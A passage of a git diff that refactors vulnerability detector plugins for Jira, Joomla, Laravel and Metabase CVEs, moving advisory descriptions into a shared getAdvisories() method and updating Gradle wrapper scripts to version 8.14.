9.14.4.1" + + " can cause a remote code execution hazard.") + .setRecommendation("Upgrade Jira to the latest version") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String insightUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + INSIGHT_CHECK_VUL_PATH; @@ -129,27 +157,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_0540")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2022-0540: Authentication Bypass in Atlassian Jira Service Management" - + " Server and Data Center") - .setDescription( - "A vulnerability in Jira Seraph allows a remote, unauthenticated attacker to" - + " bypass authentication by sending a specially crafted HTTP request. This" - + " affects Atlassian Jira Server and Data Center versions before 8.13.18," - + " versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later" - + " before 8.22.0. This also affects Atlassian Jira Service Management" - + " Server and Data Center versions before 4.13.18, versions 4.14.0 and" - + " later before 4.20.6, and versions 4.21.0 and later before 4.22.0, using" - + " insights prior to 8.10.0 and WBSGantt plugin versions prior to 9.14.4.1" - + " can cause a remote code execution hazard.") - .setRecommendation("Upgrade Jira to the latest version")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/jira_cve_2022_0540/src/test/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetectorTest.java b/community/detectors/jira_cve_2022_0540/src/test/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetectorTest.java index 1280c0f1b..b9b5dff9f 100644 --- a/community/detectors/jira_cve_2022_0540/src/test/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetectorTest.java +++ b/community/detectors/jira_cve_2022_0540/src/test/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetectorTest.java @@ -29,12 +29,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -100,29 +97,7 @@ public void detect_whenInsightsVulnerable_returnsVulnerability() throws IOExcept .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_0540")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2022-0540: Authentication Bypass in Atlassian Jira Service" - + " Management Server and Data Center") - .setRecommendation("Upgrade Jira to the latest version") - .setDescription( - "A vulnerability in Jira Seraph allows a remote, unauthenticated" - + " attacker to bypass authentication by sending a specially" - + " crafted HTTP request. This affects Atlassian Jira Server and" - + " Data Center versions before 8.13.18, versions 8.14.0 and later" - + " before 8.20.6, and versions 8.21.0 and later before 8.22.0." - + " This also affects Atlassian Jira Service Management Server and" - + " Data Center versions before 4.13.18, versions 4.14.0 and later" - + " before 4.20.6, and versions 4.21.0 and later before" - + " 4.22.0, using insights prior to 8.10.0 and WBSGantt plugin" - + " versions prior to 9.14.4.1 can cause a remote code execution" - + " hazard.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -154,29 +129,7 @@ public void detect_whenWBSGanttVulnerable_returnsVulnerability() throws IOExcept .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_0540")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2022-0540: Authentication Bypass in Atlassian Jira Service" - + " Management Server and Data Center") - .setRecommendation("Upgrade Jira to the latest version") - .setDescription( - "A vulnerability in Jira Seraph allows a remote, unauthenticated" - + " attacker to bypass authentication by sending a specially" - + " crafted HTTP request. This affects Atlassian Jira Server and" - + " Data Center versions before 8.13.18, versions 8.14.0 and later" - + " before 8.20.6, and versions 8.21.0 and later before 8.22.0." - + " This also affects Atlassian Jira Service Management Server and" - + " Data Center versions before 4.13.18, versions 4.14.0 and later" - + " before 4.20.6, and versions 4.21.0 and later before" - + " 4.22.0, using insights prior to 8.10.0 and WBSGantt plugin" - + " versions prior to 9.14.4.1 can cause a remote code execution" - + " hazard.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.jar b/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.properties b/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/joomla_cve_2023_23752/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/joomla_cve_2023_23752/gradlew b/community/detectors/joomla_cve_2023_23752/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/joomla_cve_2023_23752/gradlew +++ b/community/detectors/joomla_cve_2023_23752/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/joomla_cve_2023_23752/gradlew.bat b/community/detectors/joomla_cve_2023_23752/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/joomla_cve_2023_23752/gradlew.bat +++ b/community/detectors/joomla_cve_2023_23752/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/joomla_cve_2023_23752/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetector.java b/community/detectors/joomla_cve_2023_23752/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetector.java index cf9db7b73..9a90d391d 100644 --- a/community/detectors/joomla_cve_2023_23752/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetector.java +++ b/community/detectors/joomla_cve_2023_23752/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetector.java @@ -89,6 +89,26 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_23752")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-23752")) + .setSeverity(Severity.HIGH) + .setTitle("Joomla unauthorized access to webservice endpoints") + .setDescription( + "CVE-2023-23752: An improper access check allows unauthorized access to" + + " webservice endpoints. attacker can get the host address " + + "and username and password of the configured joomla database.") + .setRecommendation("Upgrade Joomla to 4.2.8 and above versions.") + .build()); + } + private DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { return DetectionReport.newBuilder() @@ -97,18 +117,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_23752")) - .setSeverity(Severity.HIGH) - .setTitle("Joomla unauthorized access to webservice endpoints") - .setDescription( - "CVE-2023-23752: An improper access check allows unauthorized access to" - + " webservice endpoints. attacker can get the host address " - + "and username and password of the configured joomla database.") - .setRecommendation("Upgrade Joomla to 4.2.8 and above versions.") + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData(TextData.newBuilder().setText(exposedConfig)))) diff --git a/community/detectors/joomla_cve_2023_23752/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetectorTest.java b/community/detectors/joomla_cve_2023_23752/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetectorTest.java index 04a22d51f..0f37e7d30 100644 --- a/community/detectors/joomla_cve_2023_23752/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetectorTest.java +++ b/community/detectors/joomla_cve_2023_23752/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202323752/Cve202323752VulnDetectorTest.java @@ -30,13 +30,10 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -153,18 +150,7 @@ public void detect_whenVulnerable_returnsVulnerability() { .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_23752")) - .setSeverity(Severity.HIGH) - .setTitle("Joomla unauthorized access to webservice endpoints") - .setDescription( - "CVE-2023-23752: An improper access check allows unauthorized access to" - + " webservice endpoints. attacker can get the host address " - + "and username and password of the configured joomla database.") - .setRecommendation("Upgrade Joomla to 4.2.8 and above versions.") + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData(TextData.newBuilder().setText(LEAKED_DATA_JSON_SAMPLE)))) diff --git a/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.jar b/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.properties b/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/laravel_cve_2021_3129/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/laravel_cve_2021_3129/gradlew b/community/detectors/laravel_cve_2021_3129/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/laravel_cve_2021_3129/gradlew +++ b/community/detectors/laravel_cve_2021_3129/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/laravel_cve_2021_3129/gradlew.bat b/community/detectors/laravel_cve_2021_3129/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/laravel_cve_2021_3129/gradlew.bat +++ b/community/detectors/laravel_cve_2021_3129/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/laravel_cve_2021_3129/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetector.java b/community/detectors/laravel_cve_2021_3129/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetector.java index c89b5809b..8f00df142 100644 --- a/community/detectors/laravel_cve_2021_3129/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetector.java +++ b/community/detectors/laravel_cve_2021_3129/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetector.java @@ -59,7 +59,6 @@ + " code execution vulnerability (CVE-2021-3129), due to unsafe user input handling.", author = "Timo Mueller (work@mtimo.de)", bootstrapModule = Cve20213129VulnDetectorBootstrapModule.class) - @ForWebService public final class Cve20213129VulnDetector implements VulnDetector { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); @@ -96,6 +95,30 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_3129")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-3129")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-3129: Unauthenticated RCE in Laravel using Debug Mode") + .setDescription( + "Ignition before 2.5.2, as used in Laravel, allows unauthenticated remote" + + " attackers to execute arbitrary code because of insecure usage of" + + " file_get_contents() and file_put_contents(). This is exploitable on" + + " sites using debug mode with Laravel before 8.4.3") + .setRecommendation( + "Update Laravel to at least version 8.4.3, and facade/ignition to at least" + + " version 2.5.2.For production systems it is advised to disable debug" + + " mode within the Laravel configuration.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + QUERY_PATH; try { @@ -124,23 +147,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_3129")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-3129: Unauthenticated RCE in Laravel using Debug Mode") - .setDescription( - "Ignition before 2.5.2, as used in Laravel, allows unauthenticated remote" - + " attackers to execute arbitrary code because of insecure usage of" - + " file_get_contents() and file_put_contents(). This is exploitable on" - + " sites using debug mode with Laravel before 8.4.3") - .setRecommendation( - "Update Laravel to at least version 8.4.3, and facade/ignition to at least" - + " version 2.5.2.For production systems it is advised to disable debug" - + " mode within the Laravel configuration.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/laravel_cve_2021_3129/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetectorTest.java b/community/detectors/laravel_cve_2021_3129/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetectorTest.java index 247b00632..3e5c36b01 100644 --- a/community/detectors/laravel_cve_2021_3129/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetectorTest.java +++ b/community/detectors/laravel_cve_2021_3129/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20213129/Cve20213129VulnDetectorTest.java @@ -30,11 +30,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -114,24 +111,7 @@ public void detect_vulnerableToCve20213129_returnsVulnerability() throws Interru .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_3129")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-3129: Unauthenticated RCE in Laravel using Debug Mode") - .setDescription( - "Ignition before 2.5.2, as used in Laravel, allows unauthenticated" - + " remote attackers to execute arbitrary code because of insecure" - + " usage of file_get_contents() and file_put_contents(). This is" - + " exploitable on sites using debug mode with Laravel before" - + " 8.4.3") - .setRecommendation( - "Update Laravel to at least version 8.4.3, and facade/ignition to at" - + " least version 2.5.2.For production systems it is advised to" - + " disable debug mode within the Laravel configuration.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.jar b/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.properties b/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/metabase_cve_2021_41277/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/metabase_cve_2021_41277/gradlew b/community/detectors/metabase_cve_2021_41277/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/metabase_cve_2021_41277/gradlew +++ b/community/detectors/metabase_cve_2021_41277/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/metabase_cve_2021_41277/gradlew.bat b/community/detectors/metabase_cve_2021_41277/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/metabase_cve_2021_41277/gradlew.bat +++ b/community/detectors/metabase_cve_2021_41277/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/metabase_cve_2021_41277/src/main/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277Detector.java b/community/detectors/metabase_cve_2021_41277/src/main/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277Detector.java index c4d129406..4ee6b275a 100644 --- a/community/detectors/metabase_cve_2021_41277/src/main/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277Detector.java +++ 